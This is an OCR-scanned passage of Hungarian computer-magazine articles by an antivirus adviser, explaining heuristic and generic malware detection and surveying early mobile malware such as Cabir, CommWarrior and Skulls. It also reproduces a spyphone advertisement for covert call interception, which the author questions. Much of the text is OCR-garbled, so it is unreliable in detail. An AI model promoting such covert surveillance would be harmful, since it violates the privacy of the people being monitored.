tortént a vizsgdlat. Ez egy j6 ideig
remekdl mkodott: amig meg nem
jelentek a kilonbozé varidnsok,
mutéciék, illetve — hogy a technikai
szempontok mellett az id6sik is be-
[épjen — az egyre gyakoribb és egy-
re ndvekvd szami véltozatok mi-
att a szakemberek kénytelenek vol-
tak kiegésziteni az egyébként jol
szolgalo, szignaturaalapl keresést.
A heurisztika kifejezetten elGnyos
volt makrévirusok esetében, mig az

Ilyenek voltak a viruskeresé programok a DOS

vilagaban - jo 15-20 éve

egyéb bindris dllomanyokndl prob-
[émét okozott a fokozottabb vakri-
asztés el6forduldsa. A heurisztikat
alkalmazé programok komoly el6-
nye, hogy nemcsak a mdr ismert,
hanem a még ismeretlen kartevéket
is képesek észlelni.

Miis ez?

Ha feliitjiik az Idegen szavak sz6ta-
rat, a heurisztika cimszé alatt a ko-
vetkezGket olvashatjuk: ,A heuris-
tica gorog eredet( sz6, a feltalalds,
a valamire vald rajovés mivésze-
te; az elméleti kutatds logikai eljara-
sainak és modszerbeli szabélyainak
rendszere”.

A virusok elterjedésének kezdeti
id6szakaban komoly szerepet jat-
szott az Gigynevezett nem dokumen-
talt, illetve alacsony szintd utasitdsok
hasznélata; ezeket az utasitasokat
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tobbnyire az operécids rendszer

és egyéb rendszerszintd alkalma-
z6i programok hajtattak végre. Koz-
ismert ilyen utasitds volt a lemez
szektorszintd, a fajlrendszer kotott-
ségeit megkeriil§ direkt frasa. Ezt
hasznaltak példaul a particionalo-
és formazéprogramok, de ennek se-
gitségével telepiiltek a bootvirusok
is. Nem csoda, hogy ezen utasitasok
alkalmazasa a kiemelkedd szakmai
tudas és hatékony programozas jele
is lehetett, de a heurisztikus viruske-
res6k altaldban gyands jelként érté-
kelték, ha ilyenre bukkantak a vizs-
galt programban — és tegyuik hozza,
tobbnyire nem is alaptalanul.

Heurisztika-
Vegyiink egy példat!
Szemléltetésképpen egy kutyafajtat
fogunk keresni tobbfajta dllat kozott,
legyen ez a Louisiana Catahoula Le-
opard Dog. Ez egy spanyol és indidn
eredet( fajta, eseménydus torténe-
lemmel, és mindossze 1977 6ta ke-
zelik 6nall6 elismert
fajtaként, zommel

az USA-ban tartjak.
Azoknak, akik kordb-
ban sosem lattak ilyen
allatot, homélyos el-
képzelés élhet a fejiik-
ben, de val6szin(leg
nem gondolnak macs-
kafélére, inkdbb vala-
milyen leopardpettyes
kutydt képzelnek ma-
guk elé a név hallatan. Es nem is té-
vednek nagyot. A heurisztikus kere-
sés is valahogy igy mékodik: bar nem
tudjuk pontosan, mit is kerestink, de
vannak elképzeléseink arrél, hogy
milyen , fajtajegyek” alapjan fogunk
majd azonositani a kdrtevct.

Jeinar.con  Imfertion: E10A0_Test File (et

|CAN_Tost_File loxect)

cal Hoaulte of wirus scanning!

Az F-Prot programban mar igen koran megjelent
a heurisztika: ily médon probalta meg felvenni a
versenyt a sok varianssal tamadé makro- és egyéb
virusokkal szemben

A jobb alsé sarokban talaljuk a Louisiana Catahoula Leopard Dogot.
Nem macskaféle - plane nem leopard -, hanem egy kiilonleges kutyafajta

Ha az azonositési technikaknal a
klasszikus, adatbdzisra (virusszigna-
tara) épild detektaldst vessziik ala-
pul, akkor ez egy olyan kétfazisa
szabdlygy(jtemény, amely egy fut-
tatandé programot vizsgalva vagy
engedi annak végrehajtasat, vagy
a megszakitast javasolva megdv
minket a kovetkezményektdl. Ha vi-
szont egy allomany egy (jfajta, ed-
dig ismeretlen fenyegetést tartal-
maz, ez a modszer cs6dét mond.

A virtudlis kédemuldcié és a ho-
mokozé (sandboxing) segithet az
elemzésben, de itt azt kell eldon-
teni egy adott programrdl, hogy az
artalmatlan vagy veszélyes.

Ha lerajzolunk egy tablazatot be-
tlikkel, és azt a feladatot adjuk a je-
lentkezSknek, hogy keressenek meg
benntiik adott szavakat, az val6szing-
leg révidebb-hosszabb id6 alatt min-
denkinek menni fog. Ha viszont azt
kérnénk, hogy valaki talljon meg
benne egy olyan sz6t, amelyet nem
ismer — nos, itt mar csédot mond a
mintaegyeztetésen alapulé észlelés.

Ha egy viruskeresé jelez egy tisz-
ta dllomanyra — amire nem kellene
neki —, azt vakriasz-
tasnak, idegen sz6-
val false positive-nak
hivjuk. Az adatbdzis-
alapt keresés is haj-
lamos a hamis riasz-
tasokra, hiszen nem
az egész virust, ha-
nem csak egy mintat
kerestink a vizsgdlan-
dé éllomanyban. Ha
példaul egy bizonyos
népszerd rajzfilmfi-
gurat kerestink az in-
terneten, nem sziik-

ABRUTIVCEYWOU
TXNDRUSLWINTQ
URPLKXUIXNHSQ
ARNQUARTLPOLL
PWNMAZIWALNOI
BVARKLVOWELSV
WESETNODHEREW

Kénnyii a dolgunk, ha fix karak-
tersorozatot kell megtalalni akar
fliiggblegesen, akar vizszintesen.
De mi van akkor, ha nem tudjuk
megmondani pontosan, mi az, amit
keresiink?

séges tudnunk a nevét ahhoz, hogy
megtalalhassuk. Ussiik be példaul
a Google keresébe, hogy ,goril-

la” és maris kapunk 17 milli6 tala-
latot. A mi gorillank is benne van

a meritésben, de ott van mellet-

te majdnem 17 milli¢ hamis tald-
lat is. Sz(ikiteni kell a kort példaul

a rajzfilmekben szerepld Iényekre,
a ,cartoon gorilla” kifejezésre mar
,csak” 416 ezer talalat sziletik, ami-
b6l a szamunkra 415 999 fals. Ter-
mészetesen felismerhetjiik kozot-
tiik a ,mi” gorillankat, am ha nem
emléksziink pontosan gyerekko-
runk rajzfilmjére, nem feltétlen fog-
juk az eredetit megtalalni. Ha vé-
gil befrjuk, hogy ,Magilla Gorilla”,
elsé helyen megkapjuk azt a bizo-
nyos figurat, amelyet eredetileg ke-
restiink. Ennek mintdjdra azok a vi-
rusleirdsok, amelyek nem elég spe-
cifikusak, hamis taldlatokat is fognak
eredményezni, és nem lesznek ké-
pesek egy fenyegetést egyértelmd-
en azonositani.
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Egy bizonyos gorillat keresiink, de
a ,gorilla” széra tébb mint 17 millio
talalatot kapunk

Generikus észlelés

Az (gynevezett generikus észlelés
mdr egy tovabblépés: ismeretlen
objektumot vizsgalunk, hogy a kriti-
kus szempontok szerint mennyiben
hasonlé a rosszindulatd kédhoz. Ha
nagyon hasonl, feltételezhetjtik,
hogy a mar ismert kartevének egy
(j varidnsa. Ismét egy példaval ruk-
kolunk eld. Aki mar latott ir szettert,
de angol szettert még sosem, képes
lesz felismerni azt a hasonlé jellem-
z6k révén.

Ugyanez a szamit6gép nyelvén
igy nézhet ki: van egy képzeletbe-
li kdrtevénk: ,Win32/Ez_csak_egy
példa” néven. Az alabbi jellemz6it
ismerjik:

— harom specidlis kulcsot ad a
Rendszerleir adatbézishoz,

— sajat levélkildé (SMTP) motort
tartalmaz,

— letolti e-mail cimlistankat,

— levelet kiild az aldbbi targysorral
(subject): ,Itt a vilag vége”.

Ha most fajlokat ellenérziink, fel-
tlinhet egy olyan, amelyik az alabbi
tulajdonsagokkal bir:

— harom specidlis kulcsot ad a
Rendszerleiré adatbédzishoz,

— sajat levélkalds (SMTP) motort
tartalmaz,

— letolti e-mail cimlistankat,

— levelet kiild az aldbbi targysor-
ral: ,Nyertél 10 millié Uerot”. (Az
éles szem(i olvasok egybdl kiszdrjak,
hogy itt Eurénak kellene szerepelnie.
A kértevSkészitGknél és spamterjesz-
t6knél gyakran tapasztalhatunk bet-
hibakat, elgépeléseket — helyesirasuk
nem a legjobb, de gyakran a keresé-
motorok megtévesztésére alkalmaz-
nak az emberi gondolkozas szamdra
gyorsan javithato betdicseréket.)

Sz(ikitsuk a kort a rajzfilmekben
szerepl6 joszagokra, igy mar ,,csak”
416 ezer majmunk van

Jél lathatd, hogy a vizsgalt allo-
many szinte mindenben megegye-
zik a keresett mintaval, ezért fel-
tételezhetjiik, hogy a ,Win32/Ez_
csak_egy_példa” virus egy Gjabb
varidnsaval lehet dolgunk.

Ha bepillantunk a hamis riaszté-
sok kezelésébe, azt lathatjuk, hogy
a kutat6k azt is tesztelik, hogy a
rosszindulatd kéd keresését nagy
mennyiségl tiszta és nagy mennyi-
ségi fert6zott mintadllomanyon is
elvégezve ne adjon hamis riasztast.

Passziv

és aktiv heurisztika

J6 példa a passziv heurisztika altal
generdlt hamis riasztdsra a Micro-
soft DEFAULT.CAT nev(i ’Homanya
amely nem végrehajthato, és egyal-
talan nem kartékony. Ha megvizs-
galjuk az dllomanyt, felfedezhetjiik
ugyan benne a ,CD 26" kddsoroza-
tot, amely a DOS alatt futé .COM
tipust programokban a kozvetlen
lemezre irdst jelzi, ennek ellenére
ez a taldlat egyértelm(en vakriasz-
tas, tehat nem szabad ra figyelmez-
tetést kapnunk.

Az aktiv heurisztikat gydrtonként
kiilonboz6 elnevezésekkel illetik.
Néhdanyan sandboxingnak (homo-
kozoban valé futtatas), masok vir-
tualizaciénak vagy kédemulécié-
nak hivjék. Legyen a neve barmi, az
dtlet 1ényege, hogy egy biztonsa-
gos virtualis kdrnyezetben torténik a
gyanus kod lépésenkénti végrehaj-
tasos vizsgdlata, és kozben ellendr-
zésre kertl mindenfajta aktivitas, vi-
selkedés. Ennek fényében kell fel-
becsiilni a kockdzatot. Nehezitheti
mindezt, hogy szdmos éllomany va-
165 idejdi futtathat6 tomoritével van

Nem szamit, hogy életiinkben nem lattunk még angol szettert: ha korabban
volt mar dolgunk ir szetterrel, fel fogjuk ismerni, ha szembetalalkozunk vele

Itt lathato a Magilla Gorilla, 6 ez a
csodalény, erés, ligyes, a feje sem
iires, kész fényeremény :-)

becsomagolva és/vagy elkddolva. A
kiilonféle tomoritésekkel a kartevék
készitSi pontosan a visszafejtést és
az elemzést igyekeznek nehezite-
ni, eszkozeikkel (AsPack, Morphine,
PECompact, FSG, Armadillo és tar-
saik). Ezekkel egyrészt drasztikusan
megnovelhetd egy adott fdjl vari-

mertetSjegyeket keresve. Olyan
tulajdonsagait ftirkészi a vizsgalt &l-
lomanynak, hogy ténylegesen vé-
gez-e valamilyen adatatvitelt a
portok valamelyikén, hasznal-e
IRC-csevegdklienst, belefr-e a rend-
szerallomanyokba stb. Vagyis az
ezekhez a tevékenységekhez sziik-
séges kodrészleteknek nemcsak a
meglétét vizsgdlja (passziv heuriszti-
ka), hanem azt is keresi, hogy ezek
a kédok tényleg az eldre feltétele-
zett akcidkat hajtjak-e végre.

A Windows alatti &lloményok
szerkezete hihetetlen nagy, 9ssze-
tett, de szép téma, és kilonosen
a futtathat6 allomanyok tomaorité-
sével kapcsolatban vélik még bo-
nyolultabba. A windowsos EXE f4j-
lokban példaul a kovetkezd tevé-
kenységek 6nmagukban is gyantsak
lehetnek: a kodvégrehajtds a prog-
ram utolsé szekcidjabél indul (uté-
lag hozzaflizott kédrészre utalhat),
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Egy filiggetlen mindsitd labor kisérlete arra iranyult, hogy szandékosan
régebbi virus-adatallomanyokkal végzett vizsgalattal kideritse, mennyire
hatékonyan képesek a virusirtok felismerni az uj, ismeretlen veszélyeket.

A teszteredményen jol lathato, hogy a kulonféle viruskeres6k nem egyfor-
man alapozzak miikodésiiket a heurisztikara, illetve heurisztikus képessége-

ik alaposan eltérhetnek

ansainak a szama, masrészt ezzel a
valtozatlan futtatdsi képesség mel-
lett a futtathaté alloményok fejléc-
szerkezetében is sikeriil olyan erg-
teljes valtoztatdsokat végrehajta-
ni, ami nagyban megnehezitheti az
elemzést.

A polimorfikus — alakvalté — viru-
sokat is sok esetben igy lehet lelep-
lezni, hiszen fizikai kodjuk rendre
egyedi és kiilonbo6z6.

Az aktiv heurisztikus elemzés a
fajlokat kiilonb6z6 szempontok sze-
rinti vizsgdlatoknak veti ald, jelleg-
zetesen kartevében el6forduld is-
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szokatlan vagy hibds, esetleg tobb-
sz0ros PE-fejlécszerkezet (szandé-
kos kédolas a visszafejtés ellen),
Uires teriletek a szekciok kozott (ez
is az utélagos médositasra, illetve
megtévesztd fajlstruktirara utalhat),
szokatlan KERNEL32.DLL hivatko-
zésok (a Windows rendszer ,meg-
patkoldsara” utald jel), és még so-
rolhatnank. A gyants jelek esetén
minden szimptéma kap egy stlyo-
zott pontrendszer alapjan egy valo-
szinGségi értéket, a vizsgalat végén
pedig az 6sszegyilt pontérték alap-
jan mindsiil az adott allomdny gya-

0 21|o.l.e.t.e.>.>.>0!

48 96(0.
BS s0|v
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Hiaba szerepel a DEFAULT.CAT allomanyban a DOS-os virusokra jellemzd,
direkt lemezre irasra utalo bajtsorozat, nem igazi talalat: ez itt és most

vakriasztas lenne
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v 4 N HEACER code

Sok mindenrél arulkodik a Windows alatti futtathato allomanyok fejlécszer-

kezete

Fllename: |-

Average byte count value,., .
S

ourceiheadinfo_mewsie

300

(Program works with shentiopecont variabisn)

Code Place Welghting %
Chro00): 366 16,78
EENOOTE— R 139"
chrigozl: | &8 | 138
Chri0od): 42 AT
TEhoo): 43 1.8

Char

Diagram

—_
e
—

Egy egyszerii C programmal is kimutathato egy tetszéleges allomanyral,
hogy hasznaltak-e vajon EXE-tomoritést benne. A képen egy MEW segitsé-

gével késziilt allomanyt latunk

ndsnak vagy egy bizonyos virusvari-
anssal fert6zottnek.

S hogy még ennél is tovabb lehet
[épni: megvannak azok a specialis
maédszerek, amelyekkel barki — igy
sajnos a virusiré is — tesztelni tudja
egy adott futasi kornyezetrdl, hogy
az valés vagy virtualis-e. Ezzel pe-
dig megnehezithetik a visszafejtést,
a kartevé viselkedésének feltérké-
pezését.

Sok kicsi sokra megy

Ha ismeretlen dllomanyt vizsgalunk,
az aldbbiakat ellendrizhetjik, és ad-
hatunk ra képzeletbeli pontokat.

El van-e kddolva (encrypted) a
f&jl? Ha igen, akkor ez gyanus, bar
a masolasvédett programok is hasz-
naljdk ezt — mindenesetre 1,5 pon-
tot kaphat.

Hallgatézik-e a program egy adott
kommunikaciés porton? Ha igen,
akkor ezért is jar 2 pont.

Beleir-e mér létez6 fajlokba? Ha
igen, akkor erre is oszthatunk 3
pontot, igaz, itt is stlyozni kell,
hogy pontosan milyen alloményhoz
kivan hozzaférni.

Végez-e médositast a Registryben
(Rendszerleiré adatbazis)? Ha igen,
akkor kapjon egy pontot § is. Per-
sze itt is szlikséges stlyozni: ponto-
san mely tertletekrdl van sz6, egy
artalmatlan, sajat beallitdsbejegyzés
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nem egyenl6 azzal, mint amikor az
automatikus programinditasi részt
piszkélja valami.

Hoz-e létre az adott program ide-
iglenes konyvtarat? (Az ideiglenes
konyvtérak létrehozéséra a Win-
dowsnak sajat funkcidja van, ezért
ez egyszer(ien kiderithetd.) Ha igen,
jar érte 5 pont, a levelezGrendsze-
ren keresztiil terjed kartevék pél-
ddul éppen igy jérnak el.

Ha minden fontos szempont vizs-
gdlata megtortént, és a fenti kom-
binaciokon feliil az dsszes vizsgalt
tulajdonsagra adott vilasz magas
pontszamot kapott, gyanithatjuk,
hogy kartékony az dllomany. A 1é-
nyeg, hogy mindekézben ne nove-
kedjen a téves riasztdsok szdma.

m mikfidés kizben

Proaktiv és reaktiy viruswide!

o
[

proakdiv védelem:
2 hindety pllanacibun vd

Ezért fontos a proaktiv védelem:
még a frissitett adatbazis is csak
a mar ismert kartevok ellen képes
védelmet nyujtani

T
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A kiilonfele fajltipusokra jellemzd eloszlasi diagramok

Kiilon tanulmanyok léteznek mar az entropikus - azaz bajteloszlas-vizsgalat
alapjan torténé fajltipus-, valamint kartevé-felismerésrdl

Kartevok észlelése

Amikor az adatbazis-alapa felisme-
rés fog meg egy dllomanyt, akkor
olyan konkrét nevet ir ki, mint pél-
daul ,Win32/Stration.YQ", mig a
heurisztika taldlataindl inkabb a
,Win32/Nuwar.Gen Worm” szo-
veggel taldlkozhatunk. Itta ,.Gen”
szocska utal egyértelmien a ge-
nerikus felismerésre. Mas esetek-
ben szintén a heurisztikus kere-
sést lathatjuk. Példaul a ,Variant of
Win32/Exploit WMF Trojan” (... va-
rians), vagy a ,Probably unknown

ey

Egy elrettenté példa, hogyan ne miikédjon egy
heurisztika: a gyari Jegyzettomb Windows-
alkalmazast (notepad.exe) toméritettiik UPX
segitségével. A viruskeresé motorok koziil
ketten is gyanus trojainak, illetve kartevének

aposztrofaljak

NewHeur_PE virus” (feltételezhe-
t6en ismeretlen ... virus) katego-
ria is erre utal. A keresé megad-
hat ugyan egy konkrét kartevéne-
vet, de egyben jelzi, hogy ez az
alloméany nem egyértelmen az,
viszont vérhat6 viselkedése alap-
jan akar egy — kordbban is ismert
— kartevd is lehet. Minden ilyen ti-
pust jelz6, mint amilyen a ,pro-
bably”, a ,variant”, ,possibly”, ,po-

IRODALOMJEGYZEK

tentially” (valészindleg, varidns
stb.) csak és kizarolag a heuriszti-
kus motortdl szarmazik. Fiigget-
len tesztel6k szerint a vadon é16
(ITW, In The Wild, azaz val6s kor-
nyezetben is el6forduld) virusok
kozil maga a heurisztika legalabb
86%-0s hatékonysaggal észleli a fe-
nyegetéseket, a teljes laboratériu-
mi kollekciéban (In The Zoo) pedig
50-60% az a rész, amelyet ily mo-
don észlelni képes.

A heurisztikus keres6k a még is-
meretlen, (j tipust fenyegetések-
kel szemben, illetve az
ismert karokozok vari-
ansainak felderitésében,
valamint a polimorfi-
kus, azaz alakvalté vi-
rusok felismerésében
érik el a legjobb ered-
ményt. Egyes férgeknek
tobb szdz, néhény eset-
ben tobb ezer varidnsuk
is lehet.

Méra a viruskeres6k
tdlnyomo tébbségét fel-
vértezték valamilyen
szintl heurisztikus ke-
resési képességgel, de
a termékek e téren nydj-
tott teljesitményében je-
lentds tudasbeli kilonb-
ségek észlelhetsk.

Kérjik kedves olvasdinkat, ha a té-
maban kérdésiik, hozzaszoldsuk
van, juttassak el hozzank (vele-
meny@pcworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsad6
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

Randy Abrams: Understanding and Teaching Heuristics

Pavel Cerven: Programvédelem fejlesztknek

Columbia IDS Lab: Fileprint Analysis for Malware Detection

(letolthets: www1.cs.columbia.edu/~wl318/papers/wormpaper2005.pdf)
Joanna Rutkowska: Red Pill... or how to detect VMM using (almost)
one CPU instruction (web: invisiblethings.org/papers/redpill. html)

Péter Sz6r: Virus Research and Defense
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A cikk képei megtalalhaték a lemezmel-
lekleten

Mobil kartevok

Sorozatunk tizedik epizdédjaban a mobileszkozokon futd virusokrol, kémprogramokrol és karte-
vokrol lesz szd. Az evollcid itt is végbement, igaz, a tomeges elterjedés még - és ez a legfontosabb
sz ebben a mondatban - nem tortént meg. Nyilvanvaléan nem az okos telefonrdl kell lemonda-
nunk, hanem itt is elkerilhetetlen lesz a megfelel6 hozzaallas és az 6vatossag.

a felitjiik a Galaktika folyo-
H iratot, vagy belelapozunk

gyerekkorunk sci-fi kényve-
ibe — példaul Teknds Péter Jartunk
a jovében cimd mivébe — egybdl
észrevehetjiik, hogy a fantdzia vi-
lagaban mér a 60-as években lé-
tezett egy ,cigarettasdoboz mére-
td"” okos kis késztilék, amely sze-
mélyi kommunikétor, televideograf
és egyéb neveken szerepelt. Va-
laszolt kérdéseinkre, segitségé-
vel videotelefondlhattunk ismer6-
seinkkel, térkép helyett Gtbaiga-
zitast adott, kielemezte a légkori
viszonyokat — dlmunkban, dlomvi-
lagunkban. Aztan mire felnéttiink,
elkezdtek megjelenni a valdsdagban
is az djabbnal Gjabb csodamasindk:
ZX81, ZX Spectrum, C64, progra-
mozhaté tudomanyos kalkuléto-
rok, az els6 Motorola hordozhaté
telefon, PDA-k, GPS- és Java-tamo-
gatéssal érkez6 okos telefonok. Es
azodta a gydrtok egyre csak ontjdk
a mind kisebb, ckosabb és sokol-
dalabb késziilékeket.

A legegzotikusabb hardver- vagy
szoftverplatformra is el szokott ké-
sziilni el6bb vagy utébb egy kérte-
v6 — demonstraci6s céllal. Bemu-

tatni a vilagnak, hogy ezt is lehet.
Az ilyen kisérleti kdrtevSket — ame-
lyek legelsé megjelenési formdjuk-
ban sokszor valéjaban artalmat-
lanok — hivjuk PoC, azaz Proof of
Concept kartevéknek. [gy volt ez
a Palm OS-alapt késziilékek ide-
jében, és nincs okunk feltételezni,
hogy az djonnan megjelené mobil
rendszereknél ne legyen majd vala-
ki, aki az ,els6” kisérleti kartevével
megmutatja, ki a legény a gaton.
2004 janiusaban igen érdekes je-
lenségrél kaptunk hirt. A Symbian
operaciost rendszert futtaté mobil-
telefonok keriltek veszélybe a még
kezdetleges Cabir virus miatt.
A zsenidlis Gjdonsdg az volt, hogy
a fert8zott késziilék a bekapcsolt
vezeték nélkiili Bluetooth kapcso-
laton keresztiil igyekezett tovébb-
adni a virust egy bizonyos hatétd-
volsdgban (néhdny méter) taldlhaté
masik telefonra. Kivdlasztott egy
aktiv Bluetooth vevével rendelke-
26 telefont, és ezek utdn erre az
egy késziilékre folyamatosan kald-
te tovabb magét. A kdrtevét a nem-
rég megszint 29A formacié ValleZ
nev( tagja készitette demonstra-
cios célbdl: valodi |, biintetérutint”
nem is tartalmazott, és a forraskdd-
ja is elérhetd az interneten. llletve
a biintetés tulajdonképpen az volt,

- hogy a telefon

igen hamar le-
meriilt a Blue-
tooth-kapcsolat
miatt. Lenydgo-
26, illetve félel-
metes. A vala-
mivel késébhb,
2005-ben fel-

A vilag legelsé hordozhatd Litealad,

DynaTAC 800x. A kisebb taskanyi késziilék megjelené-
sekor még nem is sejtettiik, hogy sokkal kisebb, sokkal
okosabb testvérei par év mulva mér az atlagember
farzsebében lapulnak majd, megfizethetd aron
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ja a Motorola

lluetooth
EARIBE 15

Fliiedmnibly

Caribe-Y2/29a

Minden felhasznaléi alkalmazas ikonja helyébe egy koponyat kapunk a Skull-lal
fertézott késziléken

bukkant CommWarrior mar sza-
mos tulajdonsdgdban felilmdlta

a Cabirt. Mar nemcsak egyetlen
késziiléket valasztott ki a fert6zés-
hez, hanem minden, a hatétavol-
sagaban lévé és aktiv Bluetooth-
kapcsolattal felvértezett telefont
igyekezett megfertézni. Ennél is
érdekesebb, hogy sajat magat mar
el is rejtette a feladatkezel6ben
{szemben a Cabirral, amelyet

megtaldldsa utan simdn kilShetttink
a FExplorerrel), emiatt sokkal élet-
képesebbnek bizonyult.

De térjiink vissza 2004-be! Eb-
ben az évben egy Gjabb kdrtevd-
verzié tette probdra a felhasznal6-
kat. Megjelent a Skulls, azaz Ko-
ponydk nevd kéd, amely szintén
Symbian-alapi mobiltelefonokat
tudott megtamadni. Nem volt
benne kifejezett biintet8rutin, ha-
nem azt hasznalta ki, hogy a rend-
szer automatikusan bemasolta
a rendszerfdjlok nevével egyezd
nevi fdjlokat a telefonba. Telepu-
|6se utdn megfertSzte a késziilé-
keket, és ez nemcsak abban nyil-
véanult meg, hogy minden ikont
egy koponyaval helyettesitett, ha-
nem az alkalmazasokat is elérhe-
tetlenné tette. llyenkor két eset
kéiziil valaszthattunk: vagy le-
formdztuk a telefont — ekkor elve-

Egyel6ére még mindig az ember
a leggyengébb lancszem. Es ha
kivancsisagbél kattintani fog,
utana jol megnézheti magat...
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Installer

@ Bluetooth

a késébbiekben védtele-
nek maradnak karos ké-
dok letsltésénél, hiszen
a biztonségi figyelmez-
tetések mdr nem jelen-
nek meg.

2ariySalsis

Install
CommWarrior?

Szamos kilénféle, mo-
bileszkozokben hasz-
nalt platform létezett, il-
letve létezik manapsag is.
A virusok szempontjahdl

Yes

A CommWarrior Q a telefonkényvben szereplé
szamokra MMS-iizeneteket kiild, emellett

a beérkezé SMS- és MIMS-uzenetekre auto-
matikusan egy fertozott MMS kikuldésével
valaszol. Nemcsak a telefon, hanem a benne

lévé memoriakartya is megfertézédhet

szett minden személyes adatunk,
vagy szervizbe kellett menni vele.

A Skulls féreg mérete igen vdltoza-
tos volt — pdr tiz kilobdjttd| egészen
az 1-2 megabdjtos SIS-csomagig -,
és gyakran a Cabir, késébb a Comm-
Warrior kédjt is magaban hordoz-
hatta.

Voltak még aprébb-nagyobb kel-
lemetlenséget okozé prébélkoza-
sok, példdul a Fontal nevezet kdr-
tevs, amely az alapértelmezett
fontkészletet cserélte le zagyvasag-
ra, ily médon kezelhetetlenné téve
a telefont.

Es hogy egy friss torténet is sze-
repeljen: 2008 februdrjdban buk-
kant fel a Windows Mobile rend-
szerre frodott InfoHijack. Ez a Ki-
ndban terjedd karokozo kikapesolja
a Windows CE telepitéssel kap-
csolatos biztonsagi bedllitasat, és
a megfertSzétt készilék gyari soro-
zatszamat, a futé operdcids rend-
szer adatait, valamint egyéb infor-
maciokat kiild el a kdrtev szerz6-
jének. Az igy manipuldlt eszkdzek

s ‘;n'," LBy 2, igt o]

a legjelentGsebb a Symbi-
an 560 R2, amely 60 szd-
zalékos ardnyaval a legel-
terjedtebb volt a piacon
—egyebek mellett a No-
kia okostelefonok népsze-
risége révén. Szerencsére
a fejlesztdk idékazben ki-
adtdk az S60 R3 jeld, illet-
ve a Symbian 9.0 verziokat, ame-
lyek szdmos jelent&s, a biztonsig
szempontjdbol kulesfontossdgd vil-
toztatdst tartalmaztak. A legfon-
tosabb valtozds az, hogy mar csak
a Symbian és a hozza tartozo szoft-
verhazak partnerei dltal digitdlisan
alairt csomagokat lehet telepiteni.
Mivel az 560 R2 és R3 csomagok
szerkezete binarisan inkompatibilis,
ezért a kordbbi, bizonytalan erede-
td SIS-csomagokat mar nem lehet
telepiteni az Gj rendszert futtatd
késziilékekre. Tovabbi biztonsagot
igyekeztek elérni a kriptografiai hd-
zirend bevezetésével, amely nagy-
jabol azt jelenti, hogy egy megbiz-
hat6 alkalmazasnak alapbél nincs
jogosultsaga olyan kritikus funk-
cidkhoz valé hozzaférésre, mint
példaul az SMS-tizenetek kiildé-
se, a Bluetooth ki-, illetve bekap-
csolasa, e-mail kiildés stb., hanem
minden kényes funkcidhoz kii-

l6n részletezett jogkoroket kell kér-
ni a hiteles aldiras igénylésekor. igy
megerdsitve mdr igen nehéz virust
irni, esetleg csak
tandsitvanyhami-
sitdssal lehetne
prébdlkozni.

A Windows Mo-
bile platform egé-
szen az 5.0-s
verzibig szintén
kedvelt célpontja
volt a viruskészi-
téknek. A 6.0-s
valtozattal aztdn
a fejleszték végre
igyekeztek a biz-
tonsdgot szolgdlo
tjitdsokat is be-
vezetni: ilyen
példaul a bizton-
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Is Someone Kasping Seersts from You?

= Download FledSPY spyphene software directl

minutes of purchase.

= Latch cheallng wives ot
thildran, maks automatic backups, bug mestings rooms atc.

Reveal All with the Worlds Most Powerful Spyphone
lly onto a mobile phons
o1 SMS, Call Lngs, Emais, Locatons and istan to comversaions winin

stap emplayes esplanage, protect

= Leam all about FlexiSFY. 5til have cuestions by Live Ghatwho are waiing to help

grél sz616 informécidé

Which FlexiSPY is right
for you?

e and receive

FLEXISPY - PRO-23

FLEXISPY - PRO

& Use as @ seorst mabils gps Uacker
& Includes all PROfaturss

& Changa phonas as oflan as you fika
® ForSymbian and Windaws Mobls

ORDERNOW: €250 (psr yzar)
Convert this currency to USD
LEARN ABOUT

BLL YOUR QUESTIONS
SPYPHONE EAIVES

ANSWERED HERE

PROX | FULL DETA PRO‘ | FULL DETAILS
TOP OF THE RANGE SPYPHONE MID. RANGE SPYPHONE
= Listen o actual phone calls -

‘Spyphone to bug 2 (0om or persen
o Read thelr SMS, EMAIL and Call

ORDER Now: €150 ner year)
Comvert this curfsncyto USD

B BUY MOW for Instant Dewnlead
Change phones as often as you like:
Symblan, Windows and Blackbery

FLEXISPY - LIGHT

FLEXISPY - BUG

llyen is volt kereskedelmi forgalomban: tartsunk totélis ellenérzés alatt egy
mésik mobiltelefont S60, Symbian 9.x vagy Windows Mobile rendszer alatt!
A 250 eurds programmal titokban belehallgathatunk csaladtagjaink, kolléga-
ink beszélgetéseibe, minden fogadott, illetve kildott SMS-, MMS- és e-mail
uzenethél masolatot kaphatunk. Kérdés, hogy mindez mennyire torvényes?

sagos C kényvtdrak hasznélata, az
elkilonitett kernel- és felhasznaldi-
memoria-teriilet, a WPA2 Wi-Fi és
IPv6 tdmogatdsa, a rendszerbetsl-
tés biztonsdgossé tétele stb. Mind-
azondltal ha valaki készitene, és
egy webszerveren elhelyezne egy
olyan virust, amely valamely azon-
nali tizenetkiildg kliensnek hazud-
nd magat, biztosak lehettink ab-
ban, hogy elébb-utébb lenne, aki
letéltené és futtatnd. Ekkor a kar-
tevének elég lenne elkiildeni ma-
gdt a felhasznald dsszes cimére,
hogy ,Uj vdltozatd XY instant mes-
senger kliens jelent meg, téltsd le”,
és az ilyen emberi megtévesztéssel

— ahol ugye felhaszndléi interakcié,
kattintds sziikséges — is konnyen le-
hetne kart okozni.

A J2ME, vagyis a Java 2.0 Micro
Edition megjelenésével taldn azt
remélhetnénk, hogy a mobil ope-
raciés rendszerek fejlesztéi igye-
keztek tanulni az el6dok hibaibél,
és mind nagyobb hangsulyt fektet-
nek a biztonsagra. Sajnos nem tel-
jesen igy fest a kép, itt ugyanis tet-
szBleges program képes elérni a sa-
jat konyvtdrdn kivil es6, a rendszer
fastruktdrdjaban elhelyezkedé éllo-
manyt, példaul a digitalisan aldirt

IRODALOMJEGYZEK

Dr. Vesselin Bontsev: Virusability of modern mobile environments, 2007
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& iPhone

Mivel érdekes piaci megfontolashél sok orszagbhan nem hasznalhatnank
telefonalasra a killénféle szolgaltatoknal az Apple iPhone késziilékét, igy
szinte mindenki a feltért szoftver letoltését valasztja. Azon mar kevesebben
gondolkodnak el, hogy az ismeretlen forrasbol letéltott csomagokban mi
minden lapulhat még

J2ME MIDlet eszkozkészletet. Bar
a felhasznalé megkapja a felug-

ré ablakot, miszerint a MIDlet ép-
pen készil valamire, mivel ldtszo-
lag megbizhaténak tiinik a dolog,
ezért biztosan igennel fog vélaszol-
ni a Mehet-e kérdésre.

Szintén a versenyzdék kozott in-
dul még a Sony PSP - nem telefon,
de nagyon népszer kézi jatékkon-
zol -, amely alkalmas webbangé-
szésre és mozidllomdnyok lejétsza-
